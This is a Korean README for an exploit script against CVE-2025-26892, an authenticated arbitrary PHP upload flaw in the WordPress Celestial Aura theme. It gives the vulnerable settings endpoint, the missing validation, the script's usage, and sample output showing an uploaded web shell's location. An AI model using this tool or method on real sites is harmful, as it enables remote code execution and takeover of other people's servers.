CVE-2025-26892 – WordPress Celestial Aura 테마 <= 2.2 임의 파일 업로드 (인증됨)

📄 설명

WordPress Celestial Aura 테마(dkszone 개발) 버전 2.2 이하에 무제한 파일 업로드 취약점이 존재합니다.
낮은 권한의 인증된 사용자가 테마의 관리자 패널을 통해 임의의 PHP 파일을 업로드할 수 있으며, 이는 **원격 코드 실행(RCE)**으로 이어질 수 있습니다.

영향을 받는 테마: Celestial Aura
영향을 받는 버전: ≤ 2.2
취약한 파일: wp-admin/admin.php?page=CA-settings
익스플로잇 가능 대상: 모든 인증된 사용자 (구독자 이상)
nonce, 파일 유형 또는 확장자 검증 없음

🛡️ CVSS 점수

Patchstack CNA 평가:

기본 점수: 9.9 (치명적)
벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

🚀 사용법

usage: CVE-2025-26892.py [-h] --url URL --username USERNAME --password PASSWORD

CVE-2025-26892 | WordPress Celestial Aura Theme <= 2.2 Arbitrary File Upload (Authenticated)

options:
  -h, --help            Show this help message and exit
  --url, -u URL         Target WordPress site (e.g., http://127.0.0.1/wordpress)
  --username, -un       WordPress username (any authenticated user)
  --password, -p        WordPress password

스크립트는 제공된 자격 증명으로 로그인하고, 취약한 테마 설정을 통해 악성 PHP 셸(nxploit.php)을 업로드한 후, 업로드된 셸의 직접 URL을 출력합니다.

✅ 성공적인 익스플로잇 출력

[+] Exploit sent successfully.

[+] Form Fields Sent:
  - CA_hdrimage: yes
  ...
  - CA_save: Save changes

[+] Shell Location:
http://target-site/wp-content/uploads/nxploit.php

Exploit By: Khaled_alenazi (Nxploited)

⚠️ 면책 조항

이 프로젝트는 교육 및 승인된 침투 테스트 목적으로만 사용됩니다.
이 도구의 오용에 대한 책임은 작성자에게 있지 않습니다.

CVE-2025-26892